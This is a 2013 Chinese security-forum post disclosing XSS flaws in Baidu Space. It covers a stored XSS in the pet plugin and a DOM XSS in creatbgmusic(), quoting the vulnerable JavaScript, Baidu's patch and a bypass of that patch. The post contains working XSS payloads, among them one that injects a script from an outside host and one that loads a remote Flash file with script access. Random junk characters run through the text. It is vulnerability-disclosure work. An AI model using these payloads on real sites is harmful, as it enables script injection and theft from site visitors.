找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2199|回复: 0
打印 上一主题 下一主题

hi.baidu Xss 漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-8-24 11:51:11 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
百度空间的宠物插件对用户输入变量未经任何过滤便存储,并不经过滤输出,造成XSS.  
9 H. k+ m# j1 B; b8 P( K* C1 T. ]5 c2 \( ?* {' z
1.在http://hi.baidu.com/p__z/modify/sppet中,用户可以输入留言管理,提交后,未过滤直接储存.  6 P: U+ }6 H1 E
2.在http://hi.baidu.com/ui/scripts/pet/pet.js中  8 i: j' V% c$ Y
* P2 l4 f# b- i. M0 `
将输出一段HTML:<p style="margin-top:5px"><strong>’+F[2]+"说:</strong>"+BdUtil.insertWBR(F[0], 4)+’</p>  
+ r- R, u' [2 q其中BdUtil.insertWBR为  2 n( ?5 A/ S; k% [. W" N- x* A$ M$ U
function(text, step) {  9 K, r3 w# T2 r! O% j
    var textarea = textAreaCache || getContainer();  
- ^# e& a2 q1 U2 @+ n$ z2 _* Z    if (!textarea) {  - o, k9 v( j. b2 z3 J( G0 Z
        return text;  6 b8 H4 F+ u# H1 v* M
    }  
2 h' Y: V8 W$ S1 p# [4 m" o    textarea.innerHTML = text.replace(/&/g, "&").replace(/</g, "<").replace(/>/g, ">");  $ P/ |0 H0 E) o
    var string = textarea.value;  & o0 t0 F/ c& C% r
    var step = step || 5, reg = new RegExp("(\\S{" + step + "})", "gi");  
5 H* s: `" ]  `1 r) E  H( U    var result = string.replace(/(<[^>]+>)/gi, "$1<wbr/>").replace(/(>|^)([^<]+)(<|$)/gi, function (a, b, c, d) {if (c.length < step) {return a;}return b + c.replace(reg, "$1<wbr/>") + d;}).replace(/&([^;]*)(<wbr\/?>)([^;]*);/g, "&$1$3;");  
" X( P. B3 Z/ T4 d) `" p! R6 q    return result;  $ [" ^) `" j  n2 g, U. M! Z
}  
- q4 Y$ D( y9 P0 a8 V. D在首页中,textAreaCache 和 getContainer()均不存在,故!textarea为true,未经过滤直接return text.造成XSS.  
7 U, w) ~5 U) m测试代码:宠物留言管理处输入:<img src=# onerror=alert(/qing/)>  
, `; q8 S- f: [4 w! M* W, X1 c! ?   
$ E7 k; u5 r$ r; _) d; g二:creatbgmusic() Dom-Xss Bug  1 h! y  I% ?. v# G* r
百度空间的Javascript Dom函数creatbgmusic()在输出变量bgmusic*没有进行过滤,导致可以通过initBlogTextForFCK()函数构造容易HTML代码,最终导致xss漏洞  # B: Z% N5 Y" j  a2 e+ X3 i

# B. ]1 t! U( K) f- D) S* ghttp://hi.baidu.com//js/bgmusic.js?v=1.0.js 代码:  
1 E+ C5 t+ m0 U6 N1 g
1 L" a; E, O) S9 ?function creatbgmusic(murl, musicnum, IsMusicHide, IsMusicLoop, IsMusicAutoPlay, unknow, functype) {  
* \( ~( ?+ `$ {4 W6 G    //传入的murl赋值到bgmusic1和bgmusic2中  
4 i2 D' |; Y8 X$ M3 c$ }3 o    //可以通过构造类似代码来闭合标签如 "><img src=2 onerror=s=document.createElement("script");s.src="http://www.80vul.com/sobb/alert.php";document.body.appendChild(s);>#1  
5 R! O5 |% |! J  v& z, H    var bgmusic1 = "<OBJECT id=phx width=100% classid=clsid:6BF52A52-394A-11D3-B153-00C04F79FAA6 " + (IsMusicHide ? "height=45" : "") + ">" + "<PARAM NAME=\"URL\" VALUE=\"" + murl + "?t=" + Math.random() + "\">" + " <PARAM NAME=\"rate\" VALUE=\"1\">" + " <PARAM NAME=\"balance\" VALUE=\"0\">" + " <PARAM NAME=\"currentPosition\" VALUE=\"0\">" + " <PARAM NAME=\"defaultFrame\" VALUE=\"\">" + " <PARAM NAME=\"PlayCount\" VALUE=\"" + (IsMusicLoop ? 100 : 0) + "\">" + " <PARAM NAME=\"DisplayMode\" VALUE=\"0\">" + " <PARAM NAME=\"PreviewMode\" VALUE=\"0\">" + " <PARAM NAME=\"DisplayForeColor\" VALUE=\"16777215\">" + " <PARAM NAME=\"ShowCaptioning\" VALUE=\"0\">" + " <PARAM NAME=\"ShowControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowAudioControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowDisplay\" VALUE=\"0\">" + " <PARAM NAME=\"ShowGotoBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowStatusBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowTracker\" VALUE=\"1\">" + " <PARAM NAME=\"autoStart\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"AutoRewind\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"currentMarker\" VALUE=\"0\">" + " <PARAM NAME=\"invokeURLs\" VALUE=\"0\">" + " <PARAM NAME=\"baseURL\" VALUE=\"\">" + " <PARAM NAME=\"volume\" VALUE=\"100\">" + " <PARAM NAME=\"mute\" VALUE=\"0\">" + " <PARAM NAME=\"stretchToFit\" VALUE=\"0\">" + " <PARAM NAME=\"windowlessVideo\" VALUE=\"1\">" + " <PARAM NAME=\"enabled\" VALUE=\"1\">" + " <PARAM NAME=\"EnableFullScreenControls\" VALUE=\"0\">" + " <PARAM NAME=\"EnableTracker\" VALUE=\"1\">" + " <PARAM NAME=\"EnablePositionControls\" VALUE=\"1\">" + " <PARAM NAME=\"enableContextMenu\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionStart\"  VALUE=\"0\">" + " <PARAM NAME=\"SelectionEnd\" VALUE=\"0\">" + " <PARAM NAME=\"fullScreen\" VALUE=\"0\">" + " <PARAM NAME=\"SAMIStyle\" VALUE=\"\">" + " <PARAM NAME=\"SAMILang\" VALUE=\"\">" + " <PARAM NAME=\"SAMIFilename\" VALUE=\"\">" + " <PARAM NAME=\"captioningID\" VALUE=\"\">" + " <PARAM NAME=\"Visualizations\" VALUE=\"1\">";  ; p9 H( [# w& G* B/ p0 y- b
    if (musicnum <= 1) {  $ F: D4 o$ ]1 z: I- _& `. F
        bgmusic1 += " <PARAM NAME=\"uiMode\" VALUE=\"mini\">";  7 l6 `, T4 r' |- {* O' y% {1 k
    }  , t- f: y. w; A
    bgmusic1 += "</OBJECT>";  : |) Y3 w: a$ ^2 d
    var bgmusic2 = "<EMBED src=\"" + murl + "?t=" + Math.random() + "\" width=\"100%\" " + (IsMusicHide ? "height=45" : "") + " type=\"application/x-mplayer2\" invokeurls=\"0\" autogotourl=\"false\" autostart=" + (IsMusicAutoPlay ? 1 : 0) + " loop=" + (IsMusicLoop ? 1 : 0) + " quality=\"high\"";  0 f3 Q* V; [7 E* q1 [, K
    if (musicnum <= 1) {  0 ^& K! ?$ S) A) ]# D. R
        bgmusic2 += "showcontrols=\"1\" showpositioncontrols=\"0\" ";  
  l% T- x3 z( o. u9 P" Z8 x    }  
& h1 H4 i& X$ W3 C& i3 H3 F    bgmusic2 += "> </EMBED>";  6 P1 H+ i+ n% z
    var bgmusic3 = "<div id=\"m_bgmusic\" class=\"modbox\">\u5BF9\u4E0D\u8D77\uFF0C\u60A8\u5C1A\u672A\u5B89\u88C5windows media player\uFF0C\u65E0\u6CD5\u6B23\u8D4F\u8BE5\u7A7A\u95F4\u7684\u80CC\u666F\u97F3\u4E50\uFF0C\u8BF7\u5148<a href=\"http://www.baidu.com/s?wd=windows+media+player+%CF%C2%D4%D8&cl=3\" target=\"_blank\">\u4E0B\u8F7D\u5E76\u5B89\u88C5</a><br><br></div>";    C2 U+ E% X$ q$ o" m0 X( t1 F
    var bgmus = detectWMP();  
# D4 d3 C/ n* |- s4 Z% `9 l( {    if (functype == "FckMusicHelper") {  ' v+ t8 I+ j# R( ?# ]
        if (bgmus.installed) {  
% i2 ?% O: {! \9 {5 t" f            if (bgmus.type == "IE") {  
6 g% g& v4 B- ~: Y% W+ d! _9 G                return bgmusic1;  - t9 Q. m5 x  o# \; `5 G' u. T' ?
            } else if (bgmus.type == "NS") {  
) F/ M) b/ i9 |& o: X                return bgmusic2;  ' K( R# d! T/ D" F  p( U
            }  
3 q; d2 A3 L' ^+ F3 q        } else {  
0 B- ?8 c6 K% F            return bgmusic3;  
0 g. J7 V# f3 }6 v9 g; ^2 Q        }  0 h: C7 B- }4 W1 Q& k: L& B
    } else {  / r0 M, z  d  G1 t* l
        if (bgmus.installed) {  / S+ `, p. {1 p
            //document.write 直接输出bgmusic变量 导致xss  
: ]2 f8 d  p& Q% W# e; [            if (bgmus.type == "IE") {  ' c( |6 L* P. M' M( _& V
                document.write(bgmusic1);  ! E. A; B. z3 N3 _: x
            } else if (bgmus.type == "NS") {  
( V8 z2 t8 s3 ]% i; _# C. L" C& i                document.write(bgmusic2);  
# J% h5 z8 f# E( |  q0 b            }  
% T( z3 D* B) m& K        } else {  
) K* j5 Z+ N) R7 f  y2 A            document.write(bgmusic3);  7 I: V- E3 U* e
        }  
3 b; }: T' j# l4 q8 \  p% F        return "";  
6 s6 J  E& w8 z8 x$ `    }  . ]7 D% Z$ D, X$ x
}  
; a" ^) g1 I+ m* Y. ^7 N
& P  }5 j- g1 E在看百度空间里的initBlogTextForFCK()函数,调用了creatbgmusic() ,代码如下:  
2 v  ?  Q3 @/ A1 B. Q
$ N: v2 e+ m6 @6 s+ nfunction initBlogTextForFCK(){    F/ n7 M2 }. m; I9 |9 a
//fck init music  
) F+ c, S$ h' \" mif(window.Node){Node.prototype.replaceNode=function(Node){this.parentNode.replaceChild(Node,this);}}  
: U; Q  X. R4 t- @1 K# y1 f' Cvar imgBox=document.getElementsByName(’musicName’);   //取得了文章中的所有name="musicName"的标签数组  : r5 l: i+ l( \: e, P7 e* d0 u: E3 s, h
var isAutoPlay=true;  ) X$ W8 M, r/ H0 Y9 h5 S
for(var i=0,n=imgBox.length;i<n;i++){  //然后遍历.  * r5 c2 s$ w5 o0 K2 h/ F( B2 R
  var img=imgBox;  
* n) t" b  a, b3 j+ w: D  if(img.getAttribute(’rel’)){        
  J) O8 X; j( C9 k  s- l+ ]  C) W8 `9 l   var musicSrc=img.getAttribute(’rel’);    //取得标签中rel的值,赋值给musicSrc  
$ Q' x( B8 S* j1 i) k   var musicDiv = document.createElement("SPAN");  + E3 e; ^9 m$ \
   var tmp=musicSrc.substr (musicSrc.indexOf(’#’)+1, 1);  //以"#"为界分割musicSrc字符串,提取自动播放的flag[tmp]  
/ _: l7 o1 ^# x1 n; u     , E  n& e! h4 g( H6 P4 B; ]9 _
      ..........................  ! X: F6 P% h. |* U6 b
     
  s- O' Z7 |3 B! p  a! e0 p   //直接将部分musicSrc传入creatbgmusic函数.在creatbgmusic函数直接把传入的murl赋值到bgmusic1和bgmusic2中并document.write出来.   . f" Q0 ]# P0 h# _" i, ]% E
   var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’);  + i+ t  ~. L+ s; Z, T. g
   shtml=shtml.replace(’width=100%’,’width=200’).replace(’width="100%"’,’width=200 height=45’);   img.replaceNode(musicDiv);  
. T7 c+ w) ~1 @' ]# y4 P   musicDiv.innerHTML=shtml;  
; K" z! P, i1 v& S% Y   i--;n--;  
. \+ i/ \4 ~+ v+ a" Y  O9 C  }  
9 @+ {0 L$ Q* p9 D& p3 u5 R  I+ P5 B}  
& f& ^1 b$ f" c  {3 V5 o, k4 i  {! X0 s
从上面的代码分析可以看出:在所有的参数传递中,我们没有看到过滤.百度空间的富文本编辑器的过滤模式是基于HTML语法的,不会过滤掉一个属性的值中的HTML标签.所以我们可以精心构造一个的恶意的标签,在JS进行DOM操作后引起XSS.  9 ^+ v" }" D( D0 e, D3 Z/ _
   
. m9 A& W( `! c- O/ _测试方法:<img width="200" height="45" name="musicName" rel=’"><img src=2 onerror=alert(/qing/)>#1’ src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif"/>  9 g8 f6 ?4 G) v! H

! T( c8 o2 _8 y) r1 n( }等待官方补丁  1 Z6 z8 s/ |9 H1 z  B* y
; R* ^' l* E$ j. N5 e+ ^/ \
update 2010年5月13日   
" |. }* A$ W9 r5 H
3 U- e, l- C1 q1 u; I官方补丁:    r3 v8 j" F1 V$ m
. p0 {! r1 v9 H9 f9 T
var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’);    S8 L" p) s- y# d, c. ^) G/ i
改为:  6 ~: m+ v7 v8 v5 Y# v
var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)).replace(/[\s><()]+/g,’’),1,true,false,isAutoPlay,isAutoPlay,’FckMusicHelper’);  " m2 l- h( t3 X0 Q1 }

( `0 u3 M/ |, H3 f* |# q5 M$ Bupdate 2010年5月13日 21:50:37  
4 w3 W7 a0 {" i; c* h1 u" _; c4 `( L, @  `% S) d9 T2 I5 J
补丁存在漏洞 没有过滤" 可以继续跨:  
; Q" a$ m' A, l# E% n8 h5 i6 {' {/ I- Q
NEW POC:  
' w  E: f9 @, }/ l; j3 G, _/ ]# h8 _1 W; T& l
<img width="200" height="45" _fcksavedurl=" http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" rel=’http://www.xsser.net/pz/js.swf"
5 O2 A( f# B: @3 l3 N8 O/ ?; V+ ]9 w0 c
allowscriptaccess="always" type="application/x-shockwave-flash"#2’ name="musicName"/>! i/ Z* L7 q) f' y) O6 @: M) ?( r4 a

7 U4 L+ M3 m3 R6 D( b' I
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表